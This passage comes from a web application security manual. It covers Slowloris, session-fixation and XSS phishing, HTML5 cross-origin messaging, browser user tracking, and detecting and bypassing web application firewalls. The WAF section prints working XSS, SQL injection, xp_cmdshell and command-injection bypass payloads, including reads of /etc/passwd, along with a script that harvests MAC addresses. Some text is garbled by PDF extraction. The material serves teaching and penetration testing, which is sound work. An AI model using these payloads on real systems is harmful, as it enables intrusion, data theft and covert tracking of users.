and allowing the user to choose which forms and form fields are desirable to use for the POST
attack. In addition, the tool offers unattended execution by providing the necessary parameters
within a configuration file. In version 2.x RUDY supports SOCKS proxies and session persistence
using cookies when available.
75. 74 | P a g e
SlowRois
Slowloris is a piece of software written by Robert "RSnake" Hansen which allows a single
machine to take down another machine's web server with minimal bandwidth and side effects
on unrelated services and ports.
Slowloris tries to keep many connections to the target web server open and hold them open as
long as possible. It accomplishes this by opening connections to the target web server and
sending a partial request. Periodically, it will send subsequent HTTP headers, adding to—but
never completing—the request. Affected servers will keep these connections open, filling their
maximum concurrent connection pool, eventually denying additional connection attempts from
clients.
77. 76 | P a g e
Slowloris Mitigation:
Dynamic Generation of Obfuscated JavaScript
Any code based protection against XSS, CSRF and automation can ultimately be bypassed. The
only way to create a protection that is very hard to be bypassed is to generate new JavaScript
code in every page refresh, randomize variables and objects names, length and position in the
code.
This kind of solution is only relevant to closed systems that provide services to users by
providing a graphical user interface (i.e. gmail.com), but isn’t relevant for regular websites which
are supposed to be easily browse-able, indexed, linked to and saved in bookmarks/favorites.
Malware Script Detector
• Malware Script Detector
(MSD)
http://userscripts.org/scripts/show/30284
78. 77 | P a g e
• Coded mainly to detect today’s popular powerfully malicious JavaScript attack
frameworks: XSS-Proxy, XSS-Shell, AttackAPI, BeEF
• Version 2 was enhanced to prevent most XSS threats and includes XSS Attack Blacklists
based on Firefox XSS-Warning add-on
Phishing
Frameset Based Phishing
Cross Frame Phishing
HTML5 seamless and sandbox attributes
The seamless and sandbox attributes are new in HTML5.
At the time of writing (Jan 2011), the seamless is not supported. It should integrate the
iframe seamlesslyinto page by removing border and applying CSS styles of the parent as if the
iframe were just an element.
79. 78 | P a g e
The sandbox is simpler to implement. It is supported by the recent Webkit (e.g in Chrome).
When thesandbox attribute is set, the iframe content is treated as being from a unique origin,
forms and scripts are disabled, links are prevented from targeting other browsing contexts, and
plugins are disabled.
So, the following iframe lives in a separate, very limited world. Check it using the latest Chrome:
<iframe sandbox src="/files/tutorial/window/sandboxed.html"></iframe>
The sandbox attribute may contain space-delimited flags which relax the limitations:
allow-same-origin
o Doesn’t force the unique origin for iframe contents.
allow-top-navigation
o Allows iframe to navigate parent context, e.g. change parent.location.
allow-forms
o Allows forms submissions from inside iframe.
allow-scripts
o Allows scripts execution. Still, scripts are not able to create popups.
The aim of sandboxing is to limit. It can’t lighten default limitation, like make an iframe from
another domain to appear from the same origin.
All it can do is limiting, with possible exceptions, like:
<iframe sandbox="allow-same-origin allow-forms" src="do.php"></iframe>
It is possible to mitigate most frame injection attacks by adding a deferred JavaScript to
automatically sandbox all frames and iframes except for a specific excluded list of element
IDs.
Preset Session Phishing (Combined With a later Session Hi-Jacking)
Since both HTTP and HTTPS are stateless protocols, web-based applications must use custom
methods of tracking users through its pages and also manage access to resources that require
authentication. The most common way of managing state within such an application is through
Session Identifiers (SessionID’s). These SessionID’s may be implemented through cookies,
hidden fields or fields contained within page URLs.
Many web-based applications implement poor state management systems and will allow client
connections to define a SessionID. The web application will track the user around the
application using the preset SessionID, but will usually require the user to authenticate (e.g.
supply identification information through the formal login page) before allowing them access to
80. 79 | P a g e
“restricted” page content.
In this class of attack the phishing message contains a web link to the real application server, but
also contains a predefined SessionID field. The attackers system constantly polls the application
server for a restricted page (e.g. an e-banking page that allows fund transfers) using the preset
SessionID. Until a valid user authenticates against this SessionID, the attacker will receive errors
from the web-application server (e.g. 404 File Not Found, 302 Server Redirect, etc.).
The phishing attacker must wait until a message recipient follows the link and authenticates
themselves using the SessionID. Once authenticated, the application server will allow any
connection using the authorised SessionID to access restricted content (since the SessionID is
the only state management token in use). Therefore, the attacker can use the preset SessionID
to access a restricted page and carryout his attack.
The following figure shows how the Preset Session Attack (sometimes referred to as Session
Fixation) is conducted:
Figure: Preset session attacks
Here the Phisher has bulk-emailed potential MyBank customers a fake message containing the
URLhttps://mybank.com/ebanking?session=3V1L5e5510N&Login=True containing a preset
SessionID of3V1L5e5510N and continually polls the MyBank server every minute for a restricted
page that will allow customer Fund Transfers
81. 80 | P a g e
(https://mybank.com/ebanking?session=3V1L5e5510N&Transfer=True).
Until a customer authenticates using the SessionID, the Phisher will receive errors when trying
to access the page as the SessionID is invalid. After the customer authenticates themselves the
SessionID becomes valid, and the Phisher can access the Fund Transfer page.
XSS Based Phishing
The best phishing attack will always originate from an XSS attack. This attack occurs when a user
is already in the attacked system’s domain (i.e. facebook.com). While he browses the website or
uses the system, he suddenly gets a decorated sub-window requesting some personal
information.
Since it is a “sub-window”, has the template/design/decoration like the rest of the system and
the user been already in the site, those lead to the maximum level of trust and cooperation from
the XSS victim. These days, as most websites are SSL enabled by default, the SSL adds a level of
false trust to the user.
The most effective types of this attack are:
1. Spoofing a session expiration and requiring a re-login
2. Actually calling the system’s logout function and hooking/patching the real login
code
3. Popping up a “box window” requiring the user’s password
XSS AJAX Phishing - "Frameless Phishing"
The attack consists on replacing the current DOM/document data dynamically with the
requested contented obtained via AJAX dynamic requests. The attack works for every
link/resource on the same domain.
Attack Flow:
1. The attacker takes over the page in an “Injection Point”, which can be:
a. XSS – Reflected, Stored, DOM
b. XSS – Inclusion of a remote resource (such RSS…)
c. Man-In-The-Middle
i. Injecting/Replacing the HTML
ii. Injecting/Replacing external resource files (js, css…)
d. TCP Injection
2. On each click in the page, the attacker’s code “hooks” the click
3. The desitnation URL is requested
4. The received content is assigned as this page’s content
82. 81 | P a g e
<script>
var xhr = new XMLHttpRequest();
xhr.open("GET", <the_user_clicked_URL_to_grab_and_display>, true);
xhr.send();
document.body.innerHTML = xhr.responseText + my_hook_script_code;
</script>
HTML5
Cross Domain/Origin Requests (CDR, COR)
Using XMLHttpRequest a client-side Web application on http://hello-world.example can access
this resource as follows:
var client = new XMLHttpRequest();
client.open("GET", "http://example.com/hello")
client.onreadystatechange = function() { /* do something */ }
client.send()
It gets slightly more complicated if the resource author wants to be able to handle cross-origin
requests using methods other than simple methods. In that case the author needs to reply to a
preflight request that uses the OPTIONS method and then needs to handle the actual request
that uses the desired method (DELETE in this example) and give an appropriate response. The
response to the preflight request could have the following headers specified:
Access-Control-Allow-Origin: http://hello-world.example
Access-Control-Max-Age: 3628800
Access-Control-Allow-Methods: GET, POST, PUT, DELETE
Crossing The Zone
The behavior of same-origin checks and related mechanisms is not well-defined in a number of
corner cases, such as for protocols that do not have a clearly defined host name or port associated
with their URLs (file:, data:, etc.). This historically caused a fair number of security problems, such as
83. 82 | P a g e
the generally undesirable ability of any locally stored HTML file to access all other files on the disk, or
communicate with any site on the Internet.
In addition, many legacy cross-domain operations predating JavaScript are not subjected to same-
origin checks; one such example is the ability to include scripts across domains, or submit POST
forms. JSONP is a popular cross-domain alternative to XMLHttpRequest (Ajax).
Lastly, certain types of attacks, such as DNS rebinding or server-side proxies, permit the host name
check to be partly subverted, and make it possible for rogue web pages to directly interact with sites
through addresses other than their "true", canonical origin. The impact of such attacks is limited to
very specific scenarios, since the browser still believes that it is interacting with the attacker's site,
and therefore does not disclose third-party cookies or other sensitive information to the attacker.
EasyXDM – Cross Domain Messaging Tool-Kit
Microsoft’s version: XDR: AJAX - Introducing Cross-domain Request (XDR)
With Cross-domain Request ("XDR") in Windows Internet Explorer 8, developers can create cross-site
data aggregation scenarios. Similar to the XMLHttpRequest object but with a simpler programming
model, this request, called XDomainRequest, is the easiest way to make anonymous requests to
third-party sites that support XDR and opt in to making their data available across domains. Three
lines of code will have you making basic cross-site requests. This will ensure that data aggregation for
public sites such as blogs or other social networking applications will be simple, secure and fast.
84. 83 | P a g e
Background
Web browsers have a security policy called the same-site origin policy, which blocks Web pages from
accessing data from another domain. Web sites often work around this policy by having their server
request content from another site's server in the backend, thus circumventing the check within the
browser, as shown in the following diagram.
In Internet Explorer 8, Web pages can simply make a cross-domain data request within the browser
by using the new XDomainRequest object instead of a server-to-server request, as shown in the
following diagram.
Cross-domain requests require mutual consent between the Web page and the server. You can
initiate a cross-domain request in your Web page by creating anXDomainRequest object off
the window object and opening a connection to a particular domain. The browser will request data
from the domain's server by sending an Originheader with the value of the origin. It will only
complete the connection if the server responds with an Access-Control-Allow-Origin header of
either * or the exact URL of the requesting page. This behavior is part of the World Wide Web
Consortium (W3C)'s Web Application Working Group's draft framework on client-side cross-domain
communication that the XDomainRequest object integrates with.
For example, a server's Active Server Pages (ASP) page might include the following response header.
85. 84 | P a g e
<% Response.AddHeader("Access-Control-Allow-Origin","*") %>
Security Alert To protect user data, cross-domain requests are anonymous, which means that
servers cannot easily find out who is requesting data. As a result, you only want to request and
respond with cross-domain data that is not sensitive or personally identifiable.
API Documentation
The following JavaScript code introduces the XDomainRequest object and its events, properties,
and methods. The XDomainRequest reference page has more detail than is listed here.
// Creates a new XDR object.
xdr = new XDomainRequest();
// Indicates there is an error and the request cannot be completed.
xdr.onerror = alert_error;
// The request has reached its timeout.
xdr.ontimeout = alert_timeout;
// The object has started returning data.
xdr.onprogress = alert_progress;
// The object is complete.
xdr.onload = alert_loaded;
// Sets the timeout interval.
xdr.timeout = timeout;
// Gets the content-type header in the request.
var content_type = xdr.contentType;
// Gets the body of the response.
var response = xdr.responseText;
// Creates a connection with a domain's server.
xdr.open("get", url);
// Transmits a data string to the server.
xdr.send();
// Terminates a pending send.
xdr.abort();
Code Sample
XDR has two components: a client side that makes a request for data to a URL across domains, and a
server side that responds with the Access-Control-Allow-Origin header of either * or the exact URL
86. 85 | P a g e
of the requesting page, plus the data, which Internet Explorer then makes available to the requesting
domain after performing security checks.
This sample page takes a URL and does a get request. The Read button will call a method to output
the response data if you choose to. The first code sample that follows is the requesting page.
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.
org/TR/html4/loose.dtd">
<html>
<head>
<meta content="text/html; charset=utf-8" http-equiv="Content-Type">
<title>Internet Explorer 8 - Cross-domain Request Code Sample</title>
<script type="text/javascript">
var xdr;
function read_data()
{
var output = document.getElementById('text_response');
if(output)
{
// To view the responseText on the page, click the Read button.
output.innerText = xdr.responseText;
}
// The Read button also displays the content type and length of
// response in alerts.
alert("Content-type: " + xdr.contentType);
alert("Length: " + xdr.responseText.length);
}
function alert_error()
{
alert("XDR onerror");
}
function alert_timeout()
{
alert("XDR ontimeout");
}
function alert_loaded()
{
alert("XDR onload");
alert("Got: " + xdr.responseText);
}
function alert_progress()
{
alert("XDR onprogress");
alert("Got: " + xdr.responseText);
87. 86 | P a g e
}
function req_abort()
{
if(xdr)
{
xdr.abort(); // Abort XDR if the Stop button is pressed.
}
}
function req_init()
{
var url =
document.getElementById('input_url').value;
var timeout =
document.getElementById('input_timeout').value;
if (window.XDomainRequest) // Check whether the browser supports XDR.
{
xdr = new XDomainRequest(); // Create a new XDR object.
if (xdr)
{
// There is an error and the request cannot be completed.
// For example, the network is not available.
xdr.onerror = alert_error;
// This event is raised when the request reaches its timeout.
xdr.ontimeout = alert_timeout;
// When the object starts returning data, the onprogress event
// is raised and the data can be retrieved by using responseTe
xt.
xdr.onprogress = alert_progress;
// When the object is complete, the onload event is raised and
// the responseText ensures the data is available.
xdr.onload = alert_loaded;
xdr.timeout = timeout;
// The URL is preset in the text area. This is passed in the
// open call with a get request.
xdr.open("get", url);
// The request is then sent to the server.
xdr.send();
}
else
{
alert('Failed to create new XDR object.');
}
}
else
{
88. 87 | P a g e
alert('XDR does not exist.');
}
}
</script>
</head>
<body>
<div class="body">
<h1>Internet Explorer 8 - Cross-domain Request Demo</h1>
<form action="">
<!-- Assign URL and timeout values from their text boxes to v
ariables. -->
<p>URL: <input id="input_url" type="text"
value="http://samples.msdn.microsoft.com/workshop/samples/aut
hor/dhtml/Ajax/xdomain.response.movies.aspx"
style="width: 700px"></p>
<p>Timeout: <input id="input_timeout" type="text" value="1000
0"></p>
<p><input onclick="req_init()" type="button" value="Get">&nbs
p;
<input onclick="req_abort()" type="button" value="Abort">&nbs
p;
<input onclick="read_data()" type="button" value="Read"></p>
</form>
<div id="text_response">
</div>
</div>
</body>
</html>
89. 88 | P a g e
Web Messaging - Cross Frame/Window Messaging
This first page is the sender - it's calling postMessage (sending the textual message) and
also holds the iframe within which the receiving window is held.
<iframe src="http://dev.hp.com” id="iframe"></iframe>
<form id="form">
<input type="text" id="msg" value="Message to send"/>
<input type="submit"/>
</form>
<script>
window.onload = function(){
var win = document.getElementById("iframe").contentWindow;
document.getElementById("form").onsubmit = function(e){
win.postMessage( document.getElementById("msg").value );
e.preventDefault();
};
};
</script>
The follow page is the receiver - it has an event listener bound which watches for
messages being passed to it and injects them in to the DOM.
<b>This iframe is located on dev.hp.com</b>
<div id="test">Send me a message!</div>
90. 89 | P a g e
<script>
document.addEventListener("message", function(e){
document.getElementById("test").textContent =
e.domain + " said: " + e.data;
}, false);
</script>
Cookie/Repository User Tracking
Tracking Users Using HTML5 Local Storage Feature
• HTML5 provides feature that
allows planting persistent
information in users computers
• A tracker can be planted pre-emptively or during an identified attack
• Since the information is persistent
it is possible to retrieve it and
inspect it at any date and the attacker can be identified
Tracking Users Using HTML5 Local Storage Feature
• Types of “Ever Cookies” (tracking features)
• Standard HTTP Cookies
• Silverlight Isolated Storage
• Local Shared Objects (Flash Cookies)
• Storing cookies in RGB values of auto-generated, force-cached PNGs using HTML5
Canvas tag to read pixels (cookies) back out
• Storing cookies in and reading out Web History
• Storing cookies in HTTP ETags
• Internet Explorer userData storage
• HTML5 Session Storage
• HTML5 Local Storage
• HTML5 Global Storage
• HTML5 Database Storage via SQLite
92. 91 | P a g e
User TraceBack Techniques
JAVA Trackback Techniques
93. 92 | P a g e
MAC ADDRESS Detection Of All Network Interfaces via JAVA
You can steal the user’s MAC address with Java 1.6. For Internet Explorer you can use an applet.
This information is very sensitive, because the MAC address is a unique identifier. Although it
can be easily changed by the user, it can be useful to identify some users with dynamic IP
address or using proxies.
function get_mac() {
try {
var ifaces = java.net.NetworkInterface.getNetworkInterfaces()
var ifaces_list = java.util.Collections.list(ifaces);
for (var i = 0; i < ifaces_list.size(); i++) {
var mac = ifaces_list.get(i).getHardwareAddress();
if (mac) {
return mac;
}
}
} catch (e) { }
return false;
}
94. 93 | P a g e
Tracking Users Using Request Injections
• Flash Trackback Techniques
o Adobe Flash plugin allows revealing the local IP
o Flash Sockets
• DNS Request Injection (subdomains)
Trackback Techniques
• Inject HTML to force DNS requests to our servers (some clients aren’t configured to
proxy DNS)
o Unique System Identification
o Pre-Planting an Ever-Cookie on certain crowds to allow future unique
identification
XSS + Browser Location Services
Browser/Smart-Phone Location Services
Browser Location Services (FireFox)
95. 94 | P a g e
Browser Location Services
(Google Chrome)
96. 95 | P a g e
Browser Location Services
Working Behind Tor Anonymity Network
97. 96 | P a g e
Web Application Firewalls
Web applications have some serious vulnerabilities, and WAF provides a very important extra
protection layer to the web solution. Hackers can find access points through errors in code, and
we find that having a WAF in front of our web application is very important for security.
WAF acts as a special mechanism governing the interaction between the server and client while
processing the HTTP-packets. It also provides a way to monitor the data as it is received from
the outside. The solution is based on a set of rules that exposes if there is an attack targeting the
server. Usually, the web application firewall aims to protect large websites like banks, online
retailers, social networks, large companies… But now anyone can use it now that we have some
open-source solutions available.
WAF can be implemented in two ways, via hardware or software, and in three forms:
1. Implemented as a reverse proxy server.
2. Implemented in routing mode / bridge.
3. Integrated in the Web application.
The first form can be as mod_security , Barracuda , nevisProxy . These types of WAF
Automatically block or redirect the request to the web server without any changes or editing
data.
The second category consists mainly of hardware WAF. For example, Imperva SecureSphere
(impervaguard.com). These solutions require additional configuration on the internal network,
but eventually the option gains in productivity.
And finally, the third type implies the existence in the Web application like integrating the WAF
in the CMS.
WAF rules contain a Blacklist (compared with a list of unacceptable actions) and Whitelist
(accepted and permitted actions), for example we can find in the black list strings like: «UNION
SELECT», «< script>», «/ etc / passwd» while whitelist rules may contain a number parameters
value (from0 to 65535).
Detecting Web Application Firewalls
We will now look at how pentesting can detect the WAF server and more importantly how to
bypass it.
Each firewall has a special method in responding that helps in identifying the type of WAF
implemented (fingerprint) for example:
98. 97 | P a g e
• HTTP-response cookies parameters.
• Modifying HTTP-headers to mask the server
• The way of responding to a special data and queries
• The way in closing connection under not authorized actions.
For example, when we launch an attack on mod_security we get 501 error code; WebKnight –
the code 999; Barracuda on cookie-parameter barra_counter_session.
This can certainly help in identifying the WAF, and there are some scanners that can automate
the operation so you will be able to get the information like w3af a framework plug-in
WAF_fingerprint and wafw00f. These tools are important for the pentesting operation.
Next part will be looking at different technics to bypass web application firewall and exploit
most popular vulnerabilities.
Here are several options available in wafw00f:
99. 98 | P a g e
Then I run the wafw00f against the webserver by giving the command:
wafw00f.py http://localhost and here is the result:
The tool can detect the WAF correctly.
100. 99 | P a g e
Bypassing Web Application Firewalls
There is no single ideal system in the world, and this applies to Web application firewalls too
(WAF’s).
While the advantages and positive features far outweigh the negative in WAF’s, one major
problem is there are only a few action rules allowed. The white list is expanding, and requires
more development efforts because it is very important to clearly establish allowed parameters.
The second major problem is that sometimes WAF vendors fail to update their signature
definitions, or do not develop the required security rule on time, and this can put the web server
at risk of attacks.
The first vulnerability is (http://www.security-database.com/detail.php?alert=CVE-2009-1593),
which allows the inserting extra characters in the JavaScript close tag to bypass the XSS
protection mechanisms. An example is shown below:
http://testcases/phptest/xss.php?var=%3Cscript%3Ealert(document.cookie)%3C/script%20ByPa
ss%3
Another example (http://www.security-database.com/detail.php?alert=CVE-2009-1594) also
allows remote attackers to bypass certain protection mechanisms via a %0A (encoded newline),
as demonstrated by a %0A in a cross-site scripting (XSS) attack URL.
HTTP Parameter Pollution (HPP)
HPP was first developed by two Italian network experts, Luca Carettoni and Stefano diPaola. HPP
provides an attacker the ability to submit new HTTP-parameters (POST, GET) with multiple input
parameters (query string, post data, cookies, etc.) with same name.
The application may react in unexpected ways and open up new avenues of server-side and
client-side exploitation. The most outstanding example is a vulnerability in IIS + ModSecurity
which allows SQL-injection based attacks on two features:
1. IIS HTTP parameters submit the same name. for Example:
POST /index.aspx?a=1&a=2 HTTP/1.0
Host: www.example.com
Cookie: a=5;a=6
Content-type: text/plain
Content-Length: 7
Connection: close
a=3&a=4
If such a request to IIS/ASP.NET setting a (Request.Params["a"]) is equal to 1,2,3,4,5,6.
2. ModSecurity analyzes the request after that it has been already processed by webserver. And
reject it: http://testcases/index.aspx?id=1+UNION+SELECT+username,password+FROM+users
However the query submitted:
101. 100 | P a g e
POST /index.aspx?a=-1%20union/*&a=*/select/* HTTP/1.0
Host: www.example.com
Cookie: a=*/from/*;a=*/users
Content?Length: 21
a=*/name&a=password/*
The database as a result will do the correct query:
SELECT b, c FROM t WHERE a =- 1 /*,*/ UNION /*,*/ SELECT /*,*/ username, password /*,*/
FROM /*,*/ users
XSS
Cross Site Scripting (XSS) is probably the best method for exploiting the Web application firewall
(WAF). This is due to JavaScript’s flexibility. At the BlackHat conference, there were a large
number of methods to trick filters. For example:
object data=”javascript:alert(0)”
isindex action=javascript:alert(1) type=image
img src=x:alert(alt) onerror=eval(src) alt=0
x:script xmlns:x=”http://www.w3.org/1999/xhtml” alert (‘xss’); x: script
Examples:
1. Profense Web Application Firewall Security Bypass Vulnerabilities
Attackers can exploit the issue via a browser.
The following example URIs are available:
http://www.example.com/phptest/xss.php?var=%3CEvil%20script%20goes%20here%3E=%0ABy
Pass
http://www.example.com/phptest/xss.php?var=%3Cscript%3Ealert(document.cookie)%3C/scrip
t%20ByPass%3E
2. Finding: IBM Web Application Firewall Bypass
The IBM Web Application Firewall can be evaded, allowing an attacker to exploit web
vulnerabilities that the product intends to protect. The issue occurs when an attacker submits
repeated occurrences of the same parameter.
The example shown below uses the following environment:
102. 101 | P a g e
A web environment using Microsoft IIS, ASP .NET technology, Microsoft SQL Server 2000, being
protected by the IBM Web Application Firewall.
As expected, the following request will be identified and blocked (depending of configuration)
by the IBM Web application firewall.
http://sitename/find_ta_def.aspx?id=2571&iid='; EXEC master..xp_cmdshell "ping 10.1.1.3" --
IIS with ASP.NET (and even pure ASP) technology will concatenate the contents of a parameter if
multiple entries are part of the request.
http://sitename/find_ta_def.aspx?id=2571&iid='; EXEC master..xp_cmdshell &iid= "ping
10.1.1.3" --
IIS with ASP.NET (and even pure ASP) technology will concatenate both entries of iid parameter,
however it will include an comma "," between them, resulting in the following output being sent
to the database.
'; EXEC master..xp_cmdshell , "ping 10.1.1.3" --
The request above will be identified and blocked (depending of configuration) by IBM Web
application firewall, because it appears that
"EXEC" and "xp_cmdshell" trigger an attack pattern.
However, it is possible to split all the spaces in multiple parameters. For example:
http://sitename/find_ta_def.aspx?id=2571&iid=';&iid=EXEC&iid=master..xp_cmdshell&iid="ping
10.1.1.3" &iid= --
The above request will bypass the affected IBM Web application firewall, resulting in the
following output being sent to the database.
'; , EXEC , master..xp_cmdshell , "ping 10.1.1.3" , --
However, the above SQL code will not be properly executed because of the comma inserted on
the SQL query, to solve this situation we will use SQL comments.
http://sitename/find_ta_def.aspx?id=2571&iid='; /*&iid=1*/ EXEC
/*&iid=1*/ master..xp_cmdshell /*&iid=1*/ "ping 10.1.1.3" /*&iid=1*/ --
103. 102 | P a g e
The above request will bypass IBM Web application firewall, resulting in the following output
being sent to the database, which is a valid and working SQL code.
'; /*,1*/ EXEC /*,1*/ master..xp_cmdshell /*,1*/ "ping 10.1.1.3" /*,1*/ --
The above code will execute the ping command on the Microsoft Windows backend, assuming
the application was running with administrative privileges.
This attack class is also referenced sometimes as HTTP Pollution Attack, HTTP Parameter
Pollution (HPP) and HTTP Parameter Concatenation.
The exploitability of this issue depends of the infrastructure (WebServer, Development
Framework Technology, etc) technology being used.
Circumvention of default WAF filtering mechanisms
The following section discusses possibilities to circumvent default filtering mechanisms of the
tested web application firewalls. The perl script for an automated evaluation of filtering
mechanisms developed during this project (see section 4.2) tests the filtering capabilities by
trying to exploit previously known and implemented vulnerabilities. As attacks against web
applications can typically be conducted using a variety of different means (character encoding,
usage of different keywords or functions, obfuscation using comments, etc), the very same
attacks can be conducted by a number of differently assembled requests. As web application
firewalls typically operate using a blacklist approach and allow all requests that do not match
the blacklists, attacks can to some extent be obfuscated and pass the filtering engines.
All attacks that have been marked as blocked by the automated perl script have been analysed
manually to determine the effectiveness of the filtering procedures in connection with that
specific test case. As not all test cases can be covered here and possibilities for circumvention
are partly the same, the following chapter gives an overview of the found options for
circumvention. Please note that the bypass of filtering mechanisms if often demonstrated in
connection with a web application firewall product. The fact that the issue is shown at the
example of a product does not mean that products of other vendors are not also susceptible to
the same circumvention technique shown.
In connection with the test case 601 (command execution) the Hyperguard web application
firewall does not allow to print the contents of the /etc directory (e.g. cat /etc/passwd).
The restriction is only limited on this directory. On the other side an attacker can enumerate all
the server content using the ls command and also read files using the cat-command for files the
104. 103 | P a g e
user www-data has access to and that are not in the /etc directory. Blocking access to /etc
surely lowers the impact of an attack as several configuration files cannot be easily read, but
does not protect other system resources in other directories that can also be used to gather
information or sensitive data.
Another example for incompletely implemented regular expressions for filtering is the easy
bypass of the cross-site scripting filter mechanism of Hyperguard. In the following listing only
the first line is blocked. All other requests are not blocked by the web application firewall and
therefore enable an attacker to include arbitrary script code:
< script > alert (1) </ script >
< script + abc > alert (1) </ script + abc >
< script > alert (1) </ script >
< SCRIPT > alert ( String . fromCharCode (88 ,83 ,83) ) </ SCRIPT >
The following example regarding the BIG-IP web application firewall shows clearly that a
blacklist-based approach in some cases cannot effectively protect a web application
infrastructure. An attack may be slowed down or less experienced attackers using standard
exploit mechanisms may be kept off, but the defense is nevertheless insufficient. The following
demonstration is related to test case 601 (command execution), where an attacker is able to
inject arbitrary commands that are executed with the privileges of the web server. The affected
script enables users to ping hosts by entering an IP address. The given IP address is then passed
to the command line tool ping and the results are echoed back to the user. A normal invocation
of the according PHP script looks like follows:
46Figure 2: Command execution via environment variables obfuscation.
1 cmd_exec . php ? ip =4.2.2.1
If an attacker tries to append additional commands to the parameter, the web application
firewall blocks the request. The following request is for example blocked because the whoami
command matches one of the built-in blacklist filters:
1 cmd_exec . php ? ip =4.2.2.1; whoami
In order to circumvent the filter it is possible to make use of the fact that the Apache web server
by default runs with the privileges of an ordinary user (www-data) which has access to technical
resources and capabilities like other users or processes. That means that the web server process
also has access to environment variables that can be read an written.
An attacker can use this fact to write the command to be executed in parts to environment
variables and execute them afterwards. The following listing shows how the command whoami
is split into two parts, written to environment variables and used for command execution:
105. 104 | P a g e
1 4.2.2.1; a= who ; b= ami ; $a$b
As the request does not match any blacklist filters, it is passed to the web server, where the
command is executed (see figure 2).
The same methodology (using environment variables) can be used to bypass the afore
mentioned restricted access to the /etc directory of the Hyperguard web application firewall.
Whereas the first access attempt in the following listing is denied, the second one leads to
success and reveals the contents of the systems password file:
1 4.2.2.1; cat / etc / passwd
2 4.2.2.1; a= etc ; cat /$a / passwd
Test case 702 (
mysqlinjection get) o
ers a login form which is vulnerable to SQL injection attacks. To bypass the login an attacker
needs to inject SQL syntax in order to instruct the database to return a valid user even if the
passwords to not match. The Hyperguard web application firewall blocks according requests
where injected SQL syntax is recognized. The filter can however be bypassed by entering
comment characters that are not interpreted by the database but circumvent the blacklist filter.
In the following listing the first request is blocked by the web application firewall, but the
second one is forwarded to the web server enabling an attacker to log in as userA without
knowledge of the according password:
471 userA ' or 1=1/*
2 userA '/**/ or 1=1/*
Another problem as far as this test case is concerned occurs in connection with the Mod-
Security web application firewall where the default ruleset can also be bypassed. The attack
makes use of a syntax issue in connection with the MySQL database. Whereas other databases
require explicit comparisons (e.g. or 1=1) to construct a true statement, MySQL also accepts the
following statements as true:
1 or 1
2 or TRUE
3 or version ()
4 or sin (1)
106. 105 | P a g e
5 ...
Whereas the first request in the following listing is blocked (ModSecurity detects the SQL Syntax
because of the single quote in connection with the equality sign), the other requests are passed
on to the web server and are successfully processed by the database. The blacklist filter is
bypassed because of the missing comparison.
1 userA ' or 1=1#
2 userA ' or 1#
3 userA '+ ' '/*
The blacklist filter of phion airlock works according to a multiple keyword matching approach. If
a request contains a single quote or an equality sign, the request is not blocked. The request is
only dropped if it contains both signs at the same time. The same holds true for requests
containing SQL comment signs (--, #, /*).
Beside the possibilities to bypass filtering rules that try to mitigate critical vulnerabilities like
cross-site scripting, command execution and SQL injection, there are also certain areas where
the filtering rules of the tested web application firewalls seem to operate in a reasonable way.
The following areas tended to be hard to circumvent:
• Remote and local file inclusion (possibilities to rewrite requests that still have the same
meaning are limited in this area)
• Cookie-related vulnerabilities (current web application firewalls replace all cookie contents by
a single and randomly chosen cookie)
Whereas some of the blocked vulnerabilities also could not be exploited by rewriting the original
requests of the perl script, it could be shown that the blacklist-approach adopted by web
application firewalls lacks of full coverage of all possible attack vectors. Because of the huge
amount of different encodings, notations and possible syntaxes it is hard to cover all possible
attacks. An additional problem the developers of such blacklists face is that with risen coverage
of attack vectors also the number of false positives rises. While a general blocking of all special
characters (as these are used for command separation or syntax designation in programming
languages) would prevent many vulnerabilities from being exploitable, but this would also
render many web applications useless because of the high number of false positives.
The conclusion of the circumvention attempts carried out by the project team can be
summarized as follows: With a purely blacklist-based approach (as many web application
firewalls work today) there is always a balance between the non-effectiveness of the filter
107. 106 | P a g e
Mechanisms and the number of false positives (and therefore falsely blocked user requests) the
operators of a web application infrastructure have to face. Even if a first attempt to exploit is
blocked, a 100% coverage of all encoded attacks cannot be achieved.
The following descriptions of HTTP requests have been modeled and were used for the testing
efforts:
• HTTP Basic Authentication
• HTTP GET
• HTTP HEAD
• HTTP POST (formdata)
• HTTP POST (urlencoded)
• HTTP SOAP
All descriptions have been used to send data to the web server using the web application
Firewalls as reverse proxies. Therefore the web application Firewalls had to process the
malformed requests.
Results All web application Firewalls have been tested using all developed descriptions during a
period of three weeks. In connection with phion airlock, Breach Security ModSecurity and F5
Networks BIG-IP ASM no implementation flaws in the parsing routines could be detected.
As far as Artofdefence Hyperguard is concerned, a denial of service vulnerability could be found.
The vulnerability was triggered by the test cases 3465 to 3470 of the description for HTTP POST
(formdata). The test cases do not lead to an immediate crash of the system but rather in a high
system load as far as CPU and memory usage are concerned resulting in repeatedly unanswered
requests in the range of the aforementioned test cases. To demonstrate the causes of the
vulnerability, the HTTP request generate by test case 3465 is shown in the following listing:
POST directory / anysite . jsp HTTP /1.1
Host : webapphost . com
User - Agent : Mozilla /5.0 ( Windows ;en - GB ; rv :1.8.0.11) Gecko /20070312 Firefox.../1.5.0.11
Accept : text / xml , text / html ;q =0.9 , text / plain ;q =0.8 , image / png ,*/*; q =0.5
Accept - Language : en -gb , en ;q =0.5
Accept - Encoding : gzip , deflate
Accept - Charset : ISO -8859 -1 , utf -8; q =0.7 ,*; q =0.7
Keep - Alive : 300
Connection : keep – alive
Content - Type : multipart / form - data ; boundary
...= - - - - - - - - - - - - - - - - - - - - - - - - - - -103832778631715
5511 Content - Length : 134217718